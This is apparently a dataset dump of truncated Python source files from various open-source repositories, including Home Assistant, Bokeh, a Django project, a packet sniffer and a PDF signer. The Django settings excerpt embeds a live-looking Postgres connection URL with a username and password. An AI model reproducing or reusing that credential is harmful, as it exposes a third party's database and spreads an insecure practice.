"""Utilities for writing code that runs on Python 2 and 3""" # Copyright (c) 2010-2015 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including with...
ge i
s implemented""" self.__get_module(fullname) # eventually raises ImportError return None get_source = get_code # same as get_code _importer = _SixMetaPathImporter(__name__) class _MovedItems(_LazyModule): """Lazy loading of moved objects""" __path__ = [] # mark as package _moved_att...
armet/python-armet
armet/connectors/flask/http.py
Python
mit
4,454
0.001123
# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals, division import six from armet import http import flask from flask.globals import current_app from werkzeug.wsgi import get_current_url class RequestHeaders(http.request.Headers): def __init__(self, handle): #! Reference to...
method of the request. kwargs.update(method=request.method) # Continue the initialization. super(Request, self).__init__(*args, **kwargs) def _read(self): return s
elf._handle.stream.read() @property def protocol(self): return self._handle.scheme.upper() @property def mount_point(self): path = self._handle.path return path[:path.rfind(self.path)] if self.path else path @property def query(self): if isinstance(self._handle...
home-assistant/home-assistant
homeassistant/components/vacuum/__init__.py
Python
apache-2.0
11,828
0.000592
"""Support for vacuum cleaner robots (botvacs).""" from dataclasses import dataclass from datetime import timedelta from functools import partial import logging from typing import final import voluptuous as vol from homeassistant.config_entries import ConfigEntry from homeassistant.const import ( # noqa: F401 # STAT...
_PAUSED, ) from homeassistant.core import HomeAssistan
t import homeassistant.helpers.config_validation as cv from homeassistant.helpers.config_validation import ( # noqa: F401 PLATFORM_SCHEMA, PLATFORM_SCHEMA_BASE, make_entity_service_schema, ) from homeassistant.helpers.entity import ( Entity, EntityDescription, ToggleEntity, ToggleEntityDesc...
AngelValera/bares-y-tapas-DAI
proyecto_DAI/settings.py
Python
mit
3,535
0.003112
""" Django settings for proyecto_DAI project. Generated by 'django-admin startproject' using Django 1.8.7. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Build...
ssors.media', 'django.core.context_processors.static', ], }, }, ] WSGI_APPLICATION = 'proyecto_DAI.wsgi.application' # Database # https://docs.djangoproject.com/en/1.8/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', ...
E': os.path.join(BASE_DIR, 'db.sqlite3'), } } ON_HEROKU = os.environ.get('PORT') if ON_HEROKU: DATABASE_URL='postgres://tnvbvmmuroapil:Myi9_1JBJZSP6EzjtEWN7Q9Arh@ec2-54-204-5-56.compute-1.amazonaws.com:5432/dfoub80thb1lb4' DATABASES = {'default': dj_database_url.config(default=DATABASE_URL)} # Internationalizat...
schoolie/bokeh
bokeh/core/property/tests/test_containers.py
Python
bsd-3-clause
7,196
0.002501
from mock import patch import pytest from bokeh.models import ColumnDataSource import bokeh.core.property.containers as pc def test_notify_owner(): result = {} class Foo(object): @pc.notify_owner def test(self): pass def _notify_owners(self, old): result['old'] = old ...
mock_notify.call_args[1]['hint'], ColumnsStreamedEvent) assert mock_notify.call_args[1]['hint'].setter == 'setter' assert mock_notify.call_args[1]['hint'].rollover == None @patch('bokeh.core.property.containers.PropertyValueContainer._notify_owners') def test_PropertyValueDict__stream_array_with_rollover(mock_...
oo=np.array([10, 20, 30]))) pvd = pc.PropertyValueDict(source.data) mock_notify.reset() pvd._stream("doc", source, dict(foo=[40]), rollover=3, setter="setter") assert mock_notify.called_once assert len(mock_notify.call_args[0]) == 1 assert 'foo' in mock_notify.call_args[0][0] assert (mock_n...
google/tensorflow-recorder
tfrecorder/__init__.py
Python
apache-2.0
816
0
# Lint as: python3 # Copyright 2020 Google LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.
apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Imports.""" from tfrecorder import accessor from tfrecorder.converter import convert from tfrecorder.dataset_loader import load from tfrecorder.converter import convert_and_load from t...
quattor/aquilon
lib/aquilon/worker/commands/unbind_client_cluster.py
Python
apache-2.0
1,222
0
# -*- cpy-indent-level: 4; indent-tabs-mode: nil -*- # ex: set expandtab softtabstop=4 shiftwidth=4: # # Copyright (C) 2008,2009,2010,2011,2012,2013,2014,2015,2016 Contributor # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You ma...
q unbind client --cluster`.""" from aquilon.aqdb.model import Cluster from aquilon.worker.broker import BrokerCommand # pylint: disable=W0611 from aquilon.worker.commands.unbind_client_hostname import \ CommandUnbindClientHostname class CommandUnbindClientCluster(CommandUnbindClientHostname): required_para...
return Cluster.get_unique(session, cluster, compel=True)
baidubce/bce-sdk-python
baidubce/services/blb/app_blb_client.py
Python
apache-2.0
87,381
0.000275
# Copyright (c) 2019 Baidu.com, Inc. All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
quest(http_methods.POST, path,
body=json.dumps(body), params=params, config=config) @required(blb_id=(bytes, str)) def update_app_loadbalancer(self, blb_id, name=None, desc=None, client_token=None, config=None): """ Modify the spe...
louyihua/edx-platform
lms/djangoapps/courseware/management/commands/import.py
Python
agpl-3.0
72
0.013889
..
/../../../../cms/djangoapps/contentstore/management/commands/i
mport.py
2degrees/hubspot-contacts
tests/__init__.py
Python
bsd-3-clause
731
0
############################################################################## # # Copyright (c) 2014, 2degrees Limited. # All Rights Reserved. # # This file is part of hubspot-contacts # <https://github.com/2degrees/hubspot-contacts>, which is subject to the # provisions of the BSD at # <http://dev.2degreesnetwork.com...
NY AND ALL EXPRESS OR IMPLIED WARRANTIES ARE DISCLAIMED, INCLUDING, BUT # NOT LIMITED TO, THE IMPLIED WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST # INFRINGEMENT, AND FITNESS FOR A PARTICULAR PURP
OSE. # ##############################################################################
kbrebanov/sniffy
sniffy.py
Python
bsd-2-clause
1,287
0.002331
#!/usr/bin/env python3 import argparse import sniffer.sniffer as sniffer import parser.packet as packet_parser def main(): argument_parser = argparse.ArgumentParser() argument_parser.add_argument("-i", "--interface", type=str, required=True, help='Network interface to sniff p...
help='Read timeout in milliseconds') args = argument_parser.parse_args() promiscuous = 0 if args.promiscuous: promiscuous = 1 capture = sniffer.Sniffer(args.interface, args.snaplen, promiscuous, args.timeout) capture.start() try: capture.join() except KeyboardI
nterrupt: capture.stop() if __name__ == '__main__': main()
piqueserver/piqueserver
setup.py
Python
gpl-3.0
4,880
0.000205
#!/usr/bin/env python3 import sys import os from distutils.core import run_setup # build_ext is subclassed, so we import it with a _ to avoid a collision from distutils.command.build_ext import build_ext as _build_ext from setuptools import setup, Extension, find_packages PKG_NAME = "piqueserver" extra_args = sys.a...
run(self): from Cython.Build import cythonize if USE_ASAN: from Cython.Compiler import Options # make asan/valgrind's memory leak results better Options.generate_cleanup_code = True compiler_directives = {'language_level': 3, 'embedsignature': True} ...
thonize(self.extensions, compiler_directives=compiler_directives) _build_ext.run(self) run_setup(os.path.join(os.getcwd(), "setup.py"), ['build_py'] + extra_args) setup( name=PKG_NAME, packages=find_packages(exclude=("tests", "tests.*")), version=version['__version__'],...
ebothmann/heppyplotlib
heppyplotlib/configuration.py
Python
mit
2,563
0.002731
"""Configure heppyplotlib or the underlying matplotlib.""" import matplotlib.pyplot as plt def use_tex(use_serif=True, overwrite=True, preamble=None): """Configure pyplot to use LaTeX for text rendering.""" if plt.rcParams['text.usetex'] and not overwrite: print("Will not override tex settings ...") ...
pect_ratio=0.6875): r"""
Set figure size given a width in LaTeX points. Match LaTeX paper text width using: .. code-block:: latex \the\textwidth """ tex_points_per_inch = 72.27 inches_per_tex_point = 1.0 / tex_points_per_inch inches_width = latex_width * inches_per_tex_point plt.rc('figure', figsize=[inc...
lewisodriscoll/sasview
src/sas/sasgui/perspectives/fitting/model_thread.py
Python
bsd-3-clause
10,347
0.004252
""" Calculation thread for modeling """ import time import numpy as np import math from sas.sascalc.data_util.calcthread import CalcThread from sas.sascalc.fit.MultiplicationModel import MultiplicationModel class Calc2D(CalcThread): """ Compute 2D model This calculation assumes a 2-fold symmetry of th...
value = self.model.evalDistribution([ self.data.qx_data[index_model],
self.data.qy_data[index_model] ]) # Initialize output to NaN so masked elements do not get plotted. output = np.empty_like(self.data.qx_data) # output default is None # This method is to distinguish between masked #point(nan) and data point = 0. output[...
evodify/genotype-files-manipulations
mergeChrPos_in_callsTab.py
Python
mit
2,578
0.010085
#!/usr/bin/env python ''' This script merges all chromosomes into continuous genomic coordinates. Example input: CHROM POS SomeValues chr_1 1 2456 chr_1 2 36 chr_1 3 346 chr_1 4 36 chr_2 1 36 chr_2 2 2461 chr_2 3 6 chr_2 4 70 chr_2 5 2464 chr_3 1 46 chr_3 2 2466 chr_3 ...
ired=True) parser.add_argument('-f', '--fai', help = 'name of the fasta.fai file', type=str, required=True) parser.add_argument('-o', '--output', help = 'name of the output file', type=str, required=True) args = parser.parse_args() ########
##################### program ############################# counter = 0 print('Opening files...') # create chromosome whole genomes position coordinates fai = open(args.fai, 'r') faiDict = {} gPosition = 0 for line in fai: fai_words = line.split() faiDict[fai_words[0]] = gPosition gPosition += int(fai_words[1...
JaapJoris/autodidact
autodidact/migrations/0006_auto_20170308_1203.py
Python
agpl-3.0
376
0
# -*- coding: utf-8 -*- fr
om __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('autodidact', '0005_auto_20170308_1145'), ] operations = [ migrations
.AlterModelOptions( name='programme', options={'ordering': ['order']}, ), ]
yourcelf/signpdf
signpdf.py
Python
mit
2,594
0.00347
#!/usr/bin/env python import os import time import argparse import tempfile import PyPDF2 import datetime from reportlab.pdfgen import canvas parser = argparse.ArgumentParser("Add signatures to PDF files") parser.add_argument("pdf", help="The pdf file to annotate") parser.add_argument("signature", help="The signature...
writer = PyPDF2.PdfFileWriter() sig_tmp_filename = None for i in range(0, pdf.getNumPages()): page = pdf.getPage(i) if i == page_num: # Create PDF for signature sig_tmp_filename = _get_tmp_filename() c = canvas.Canvas(sig_tmp_filename, pagesize=page.cropB...
String(x1 + width, y1, datetime.datetime.now().strftime("%Y-%m-%d")) c.showPage() c.save() # Merge PDF in to original page sig_tmp_fh = open(sig_tmp_filename, 'rb') sig_tmp_pdf = PyPDF2.PdfFileReader(sig_tmp_fh) sig_page = sig_tmp_pdf.getPage(0) ...
ung-it/UngIT
skalvi/migrations/0012_merge_20170313_1449.py
Python
apache-2.0
337
0
# -*- coding: utf-8 -
*- # Generated by Django 1.10.5 on 2017-03-13 13:49 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('skalvi', '0011_auto_20170310_1557'), ('skalvi', '0011_merge_20170310_1457'), ] operations = [
]
sdoran35/hate-to-hugs
venv/lib/python3.6/site-packages/nltk/sem/__init__.py
Python
mit
2,409
0.001245
# Natural Language Toolkit: Semantic Interpretation # # Copyright (C) 2001-2017 NLTK Project # Author: Ewan Klein <ewan@inf.ed.ac.uk> # URL: <http://nltk.org/> # For license information, see LICENSE.T
XT """ N
LTK Semantic Interpretation Package This package contains classes for representing semantic structure in formulas of first-order logic and for evaluating such formulas in set-theoretic models. >>> from nltk.sem import logic >>> logic._counter._value = 0 The package has two main components: - ``logic`` prov...
alshedivat/kgp
examples/msgp_lstm_actuator_manual_grid.py
Python
mit
3,903
0.003075
"""MSGP-LSTM regression on Actuator data with manually specified grid.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from six.moves import xrange
import numpy as np np.random.seed(42) # Keras from keras.optimizers import Adagrad, Adam, SGD, RMSprop from keras.callbacks import EarlyStopping # Dataset interfaces from kgp.datasets.sysid import load_data from kgp.datasets.data_utils import data_to_seq, standardize_data # Model assembling and executing from kgp.ut...
from kgp.metrics import root_mean_squared_error as RMSE def main(): # Load data X, y = load_data('actuator', use_targets=False) X_seq, y_seq = data_to_seq(X, y, t_lag=32, t_future_shift=1, t_future_steps=1, t_sw_step=1) # Split train_end = int((45. / 100.) * len(X_seq)) test_end = in...
pothiers/fitscore
fitscore/fitcurve.py
Python
gpl-2.0
12,476
0.01563
#! /usr/bin/env python3 # # SCAFFOLDING. Not needed for regular use. # TODO: refactor so trivial to add new ACTIVITY import os, sys, string, argparse, logging import csv import scipy.optimize import numpy import os.path import itertools as it import decimal import matplotlib.pylab as plt #import matplotlib.pylab a...
svfilename, newline='') as csvfile:
for row in csv.reader(csvfile, strict=True): if row[4] == '': continue if row[4] == 'P': continue d0, d1,t0,t1,p = [decimal.Decimal(n) for n in row] if d0 == 0: continue #!key = ('{:.1f}\t{:.1f}\t{:.1f}\t{:.1f}'.format(d0,d1,t0,t1)) key = (round(d...
Vezpi/dlmp3
dlmp3/__init__.py
Python
gpl-3.0
3,372
0.001187
# -*- coding:utf-8 -*- import os import cPickle as pickle class Launcher(object): """ Holds Launcher options. """ def __init__(self): """ Application options. """ self.CLI = True self.PORT = 5000 self.DEBUG = False def start(self): """ Launch the application. """...
y == "DLDIR": valid = os.path.exists(val) and os.path.isdir(val) if valid: new_config = self.getitem() setattr(self, key, val) return True else: return False elif key == "SOURCE": if val == "pleer" o
r val == "mp3download": new_config = self.getitem() setattr(self, key, val) return True else: return False else: return False launcher = Launcher() config = Config() session = Session()
google/rekall
rekall-core/rekall/plugins/windows/privileges.py
Python
gpl-2.0
3,105
0.001288
#!/usr/bin/python # Rekall Memory Forensics # Copyright 2013 Google Inc. All Rights Reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Gene
ral Public License as published by # the Free Software Foundation; either version 2
of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have ...
smithhmark/conscientious-connection
services/python/chatty/chatty/settings.py
Python
mit
3,166
0.001263
""" Django settings for chatty project. Generated by 'django-admin startproject' using Django 1.9.1. For more information on this file, see https://docs.djangoproject.com/en/1.9/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.9/ref/settings/ """ import os # ...
project.com/en/1.9/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.dj
angoproject.com/en/1.9/howto/static-files/ STATIC_URL = '/static/'
DLance96/ox-dashboard
dashboard/migrations/0042_studytableevent_notes.py
Python
mit
467
0
# -*- coding: utf-8 -*- # Generated by Django 1.10a1 on 2016-07-19 15:11 from __future__ import unicode_literals from django.db import
migrations, models class Migration(migrations.Migration): dependencies = [ ('dashboard', '0041_auto_20160707_1856'), ] operations = [ migrations.AddField( model_name='studytableevent', name='notes', field=models.TextField(blank=True, null=Tr
ue), ), ]
bitesofcode/projexui
projexui/designer/build/xviewwidgetplugin.py
Python
lgpl-3.0
2,507
0.01077
#!/usr/bin/python ''' Auto-generated ui widget plugin ''' from projexui.qt.QtDesigner import QPyDesignerCustomWidgetPlugin from projexui.qt.QtGui import QIcon import projex.resources from projexui.widgets.xviewwidget import XViewWidget as Base setattr(Base, '__designer_mode__', True) DEFAULT_XML = '''<ui...
tomwidgets>
</ui>''' class XViewWidgetPlugin(QPyDesignerCustomWidgetPlugin): def __init__(self, parent=None): super(XViewWidgetPlugin, self).__init__(parent) self.initialized = False def initialize(self, core): if self.initialized: return self...
airbnb/superset
superset/css_templates/filters.py
Python
apache-2.0
1,481
0.000675
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
D, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from typing import Any from flask_babel import lazy_gettext as _ from sqlalchemy import or_ from sqlalchemy.orm.query import Query from
superset.models.core import CssTemplate from superset.views.base import BaseFilter class CssTemplateAllTextFilter(BaseFilter): # pylint: disable=too-few-public-methods name = _("All Text") arg_name = "css_template_all_text" def apply(self, query: Query, value: Any) -> Query: if not value: ...
vdloo/raptiformica
bin/raptiformica_spawn.py
Python
mit
184
0
#!/usr/bin/env python3 from raptiformica.cli import spawn if __name__ == '__main__': spawn() else: raise RuntimeErro
r("This script is an
entry point and can not be imported")
RemuTeam/Remu
project/tests/GUI/PopUps/test_file_handling_popup.py
Python
mit
4,820
0.004564
import unittest from GUI.PopUps.FileHandlerPopUp import FileHandlerPopUp from Constants.FileHandlingMode import * class TestFileHandlingPopUp(unittest.TestCase): def setUp(self): self.title = "test" self.callbackbuttontext = "button" self.path = "test_path" self.filters = ["*.jpg", ...
led) def test_callback_button_on_open_project_popup_2(self): self.open_project_layout.ids.filechooser.selection.append("test") self.open_project_layout.check_selections(None, None) self.assertFalse(self.open_project_layout.ids.callback_button.disabled) def test_callback_button_on_impor...
iple_popup_1(self): self.assertTrue(self.import_multiple_layout.ids.callback_button.disabled) def test_callback_button_on_import_multiple_popup_2(self): self.import_multiple_layout.ids.filechooser.selection.append("test") self.import_multiple_layout.check_selections(None, None) self...
helgefmi/ohno
ohno/spoilers/shopkeeper.py
Python
mit
4,485
0
liquors = [ 'Njezjin', 'Tsjernigof', 'Ossipewsk', 'Gorlowka', 'Gomel', 'Konosja', 'Weliki Oestjoeg', 'Syktywkar', 'Sablja', 'Narodnaja', 'Kyzyl', 'Walbrzych', 'Swidnica', 'Klodzko', 'Raciborz', 'Gliwice', 'Brzeg', 'Krnov', 'Hradec Kralove', 'Leuk', 'Brig', 'Brienz', 'Thun', 'Sarnen', 'Burgle...
'Y-Fenni', 'Maesteg', 'Rhydaman', 'Beddgelert', 'Curig', 'Llanrwst', 'Llanerchymedd', 'Caergybi', 'Nairn', 'Turriff', 'Inverurie', 'Braemar', 'Lochnagar', 'Kerloch', 'Beinn a Ghlo', 'Drumnadrochit', 'Morven', 'Uist', 'Storr', 'Sgurr na Ciche', 'Cannich', 'Gairloch', 'Kyleakin', 'Dunv
egan', ] rings = [ 'Feyfer', 'Flugi', 'Gheel', 'Havic', 'Haynin', 'Hoboken', 'Imbyze', 'Juyn', 'Kinsky', 'Massis', 'Matray', 'Moy', 'Olycan', 'Sadelin', 'Svaving', 'Tapper', 'Terwen', 'Wirix', 'Ypey', 'Rastegaisa', 'Varjag Njarga', 'Kautekeino', 'Abisko', 'Enontekis', 'Rovaniemi', 'Avasaksa', '...
tanzquotient/tq_website
organisation/managers.py
Python
gpl-2.0
159
0
from django.db import models c
lass FunctionManager(models.Manager): def active(self):
return self.all().filter(active=True).order_by("position")
Teebytes/TnT-Fuzzer
tntfuzzer/utils/strutils.py
Python
mit
1,142
0.003503
import termcolor import sys class StrUtils: def __init__(self): pass @staticmethod def print_log_row(op_code, url, status_code, documented_reason, body, curlcommand): if type(curlcommand) == str: curlstr = curlcommand else: curlstr = curlcommand.get() ...
ermcolor.colored(StrUtils.fill_string_up_with_blanks(op_code, 7), color='red') + ' | ' + termcolor.colored(StrUtils.fill_string_up_with_blanks(url, 100), color='green') + ' |-| ' + StrUtils.fill_string_up_with_blanks(status_code, 3) + ' | ' + StrUtils.fill_string_up_with_blanks...
fillup_string is None: return 'None ' if len(fillup_string) > num_chars: return fillup_string else: num_blanks = num_chars - len(fillup_string) for x in range(0, num_blanks): fillup_string = fillup_string + ' ' return fillup_...
suvit/django-privatesite
privatesite/__init__.py
Python
mit
18
0
VERSION =
'0.
0.2'
vanatteveldt/xtas
xtas/tasks/cluster.py
Python
apache-2.0
5,595
0.000179
"""Clustering and topic modelling tasks. These tasks process batches of documents, denoted as lists of strings. """ from __future__ import absolute_import import operator from six import itervalues import toolz from .es import fetch from ..core import app from .._utils import tosequence def _vectorizer(**kwargs)...
ocs by their cluster labels.""" return [zip(*cluster)[1] for cluster in itervalues(toolz.groupby(operator.itemgetter(0),
zip(labels, docs)))] @app.task def kmeans(docs, k, lsa=None): """Run k-means clustering on a set of documents. Uses scikit-learn to tokenize documents, compute tf-idf weights, perform (optional) LSA transformation, and cluster. Parameters ---------- docs : list of strings ...
binghongcha08/pyQMD
GWP/2D/1.0.7/cor.py
Python
gpl-3.0
1,054
0.035104
##!/usr/bin/python import numpy as np import pylab as plt import seaborn as sns sns.set_context('poster') plt.subplot(1,1,1) data = np.genfromtxt(fname='cor.dat') #for x in range(1,data.shape[-1]): plt.plot(data[:,0],data[:,1],lw=2,label='Re') plt.plot(data[:,0],data[:,2],lw=2,label='Im') #plt.plot(data[:,0]...
.linspace(0,4,100) #y = -np.sin(x) #plt.plot(x,y,lw=2,label='sin(x)') plt.xlabel('$Time$') plt.ylabel('$C(t)$') #plt.title('traj') #plt.subplot(2,1,2) dat = np.genfromtxt(fname='/home/bing/gwp/spo_2d/1.0.1/cor1') #for x in range(1,3): #plt.plot(dat[:,0]/2.0,dat[:,1],'--',label='$
\Re(C(t)),~ QM$',lw=2) #plt.plot(dat[:,0]/2.0,dat[:,2],'--',label='$\Im(C(t)),~ QM$',lw=2) #z = np.sqrt(data[:,1]**2+data[:,2]**2) #plt.plot(data[:,0],z,label='$|C(t)|$',lw=1) #plt.ylim(-0.2,0.2) plt.legend() #plt.xlim(0,8) plt.savefig('cor.pdf') plt.show()
toirl/gisela
gisela/__init__.py
Python
mit
31
0
f
rom gisela.service impor
t app
jagannath93/File-Management-System
fms/models.py
Python
mit
6,299
0.017939
from django.db import models from fms import constants as FC from django.utils import timezone from django.core.files import File from django.core.exceptions import ObjectDoesNotExist class DocumentCategory(models.Model): name = models.CharField(max_length=30, null=False, blank=False) code = models.CharField(max_l...
rue) address = models.ForeignKey('BookAddress') avilability_status = models.BooleanField(default=True, null=False, blank=False) added_on = models.DateTimeField(null=False, editable=False) last_updated = models.DateTimeField(null=False, editable=False) image = models.ImageField(upload_to = 'media/books/', defa...
name def save(self, *args, **kwargs): if not self.id: self.added_on = timezone.now() """" if not self.image: try: print "try" default_image = Image.objects.get(img = File(open('media/books/thumbnail.png'))) except ObjectDoesNotExist: print "except" ...
edx/ecommerce
ecommerce/core/migrations/0035_siteconfiguration_base_cookie_domain.py
Python
agpl-3.0
562
0.001779
# -*- coding: utf-8 -*- # Generated by Django 1.10.7 on 2017-06-15 06:37 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [
('core', '0034_auto_20170613_2039'), ] operations = [ migratio
ns.AddField( model_name='siteconfiguration', name='base_cookie_domain', field=models.CharField(blank=True, default=b'', help_text='Base cookie domain used to share cookies across services.', max_length=255, verbose_name='Base Cookie Domain'), ), ]
prophile/jacquard
doc/conf.py
Python
mit
4,856
0.000206
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # jacquard documentation build configuration file, created by # sphinx-quickstart on Fri Jan 13 04:43:44 2017. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # a...
y paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General inform...
the project. project = 'jacquard' copyright = '2017, Alistair Lynn' author = 'Alistair Lynn' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '0.7' # The ful...
healerkx/AdminBuildr
scripts/build_model.py
Python
apache-2.0
2,961
0.004053
import sys import os import json from optparse import OptionParser from tornado.template import Template from build_template import * from build_config import * def get_allow_empty_fields(fields_config, unhandled_fields): allow_empty_fields = unhandled_fields for field in fields_config: if field["fiel...
continue if 'required' in field and field['required'] == "0": allow
_empty_fields.append(field['fieldName']) return allow_empty_fields def get_like_fields(fields_config): like_fields = [] for field in fields_config: if field["fieldMode"] == "primaryKey": continue if 'more' not in field: continue more = field['more'] i...
CptLemming/django-json-patch
json_patch/patch.py
Python
bsd-3-clause
1,626
0
from .operations import ( AddOperation, CopyOperation, MoveOperation, RemoveOperation, ReplaceOperation, TestOperation ) from .exceptions import PatchException class Patch(object): """ JSON Patch defines a JSON document structure for expressing a sequence of operations to apply to ...
ON) document; it is suitable for use with the HTTP PATCH method. The "application/json-patch+json" media type is used to identify such patch documents. """ operation_types = { 'add': AddOperation, 'copy': CopyOperation, 'move': MoveOperation, 'remove': RemoveOperation, ...
def __init__(self, patch): self.patch = patch def get_operations(self): return [self.get_operation(operation) for operation in self.patch] def get_operation(self, operation): if 'op' not in operation: raise PatchException('Missing operation type') if 'path' not in ...
miquelo/caviar
packages/caviar/engine/lb.py
Python
gpl-3.0
2,131
0.035195
# # This file is part of CAVIAR. # # CAVIAR is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # CAVIAR i
s distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with CAVIAR. If...
.org/licenses/>. # """ Load balancer module. """ class LoadBalancer: """ Load balancer. """ def __init__(self, ssh_session_fact, das_machine, lb_machine, master_password): self.__das_ssh_session = ssh_session_fact.session( das_machine.appserver_user, das_machine.host ) self.__lb_ssh_session = ss...
CuonDeveloper/cuon
cuon_client/cuon_newclient/bin/cuon/AI/testcodec.py
Python
gpl-3.0
1,790
0.02905
def testcodec( txt, destination="utf_8" ): "Testet blind alle Codecs mit encode und decode" codecs = ['ascii', 'big5', 'big5hkscs', 'cp037', 'cp424', 'cp437', 'cp500', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp856', 'cp857', 'cp860', 'cp861', 'cp862', 'cp863', 'cp864', 'cp865', 'cp866', '...
', 'shift_jis_2004', 'shift_jisx0213', 'utf_16', 'utf_16_be', 'utf_16_le', 'utf_7', 'utf_8', 'idna', 'mbcs', 'palmos', 'raw_unicode_escape', 'rot_13', 'string_escape', 'undefined', 'unicode_escape', 'unicode_internal' ] #~ codecs += [ #~ 'base64_codec',
#~ 'bz2_codec', #~ 'hex_codec', #~ 'punycode', #~ 'quopri_codec', #~ 'zlib_codec', #~ 'uu_codec' #~ ] for codec in codecs: try: print txt.decode( codec ).encode( destination ), " - codec:", codec except: pass print "-"*80 ...
zahodi/ansible
lib/ansible/modules/cloud/amazon/ec2_asg.py
Python
gpl-3.0
38,091
0.00441
#!/usr/bin/python # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed...
cription: - Maximum number of instances in group, if unspecified then the current group value will be used. required: false placement_group: description: - Physical location of your cluster placement group created in Amazon EC2. required: false version_added: "2.3" default: None desi...
be used. required: false replace_all_instances: description: - In a rolling fashion, replace all instances with an old launch configuration with one from the current launch configuration. required: false version_added: "1.8" default: False replace_batch_size: description: - Numbe...
ntuckovic/fps
fps_glavni/templatetags/tags.py
Python
apache-2.0
296
0.010135
from django import template from fps_glavni.models import PoliticalParty register = template.Library() @register.inclusion_tag
('tags/navigation.html') def main_navigation(): parties_all = PoliticalParty.objects.all().order_by('name') data = { 'parties_all': parties_all}
return data
lmtierney/watir-snake
tests/browser/elements/tr_tests.py
Python
mit
2,083
0.00096
import re import pytest pytestmark = pytest.mark.page('tables.html') class TestTrExists(object): def test_returns_true_if_the_tr_exists(self, browser): assert browser.tr(id='outer_first').exists is True assert browser.tr(id=re.compile('outer_first')).exists is True assert browser.tr(inde...
assert len(table[0].cells()) == 2 assert len(table[1].cells()) == 2 assert len(table[2].cells()) == 2 def test_finds_cells_in_the_table(self, browser):
assert len(browser.table(id='outer')[0].cells(text=re.compile('Table 1'))) == 2 def test_does_not_find_cells_from_nested_tables(self, browser): table = browser.table(id='outer') assert table[1].cell(id='t2_r1_c1').exists is False assert table[1].cell(id=re.compile('t2_r1_c1')).exists is F...
rmk135/objects
examples/wiring/example_string_id.py
Python
bsd-3-clause
469
0
"""Wiring string id example.""" import sys from dependency_injector import containers, providers from dependency_injector.wiring import inject, Provide class Service: ... class Container(containers.DeclarativeContainer): service = providers.Factory(Service) @injec
t def main(service: Service = Provide['service']) -> None: ... if __name__ == '__main__': container = Container() container.wire(modul
es=[sys.modules[__name__]]) main()
OTL/jps
samples/subscriber_spin_once.py
Python
apache-2.0
205
0.004878
impo
rt jps import time def callback(msg): print(msg) sub = jps.Subscriber('/hoge1', callback) try: while True: sub.spin_once() time.sleep(0.1) except KeyboardI
nterrupt: pass
intelie/pycollector
src/third/SimpleCV/MachineLearning/query_imgs/get_imgs_geo_gps_search.py
Python
bsd-3-clause
16,223
0.018616
#!/usr/bin/python # # So this script is in a bit of a hack state right now. # This script reads # # # # Graciously copied and modified from: # http://graphics.cs.cmu.edu/projects/im2gps/flickr_code.html #Image querying script written by Tamara Berg, #and extended heavily James Hays #9/26/2007 added dynamic timesli...
ype(inst) # the exception instance #print inst.args # arguments stored in .args #print inst # __str__ allows args to printed directly print ('Exception encountered while querying for images\n') #end of while binary search print
'finished binary search' return([mintime,maxtime,total_images,rsp]) ########################################################################### # Modify this section to reflect your data and specific search ########################################################################### # flickr auth information...
bbcarchdev/qpid-proton
proton-j/proton-api/src/main/resources/proton.py
Python
apache-2.0
48,151
0.01784
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
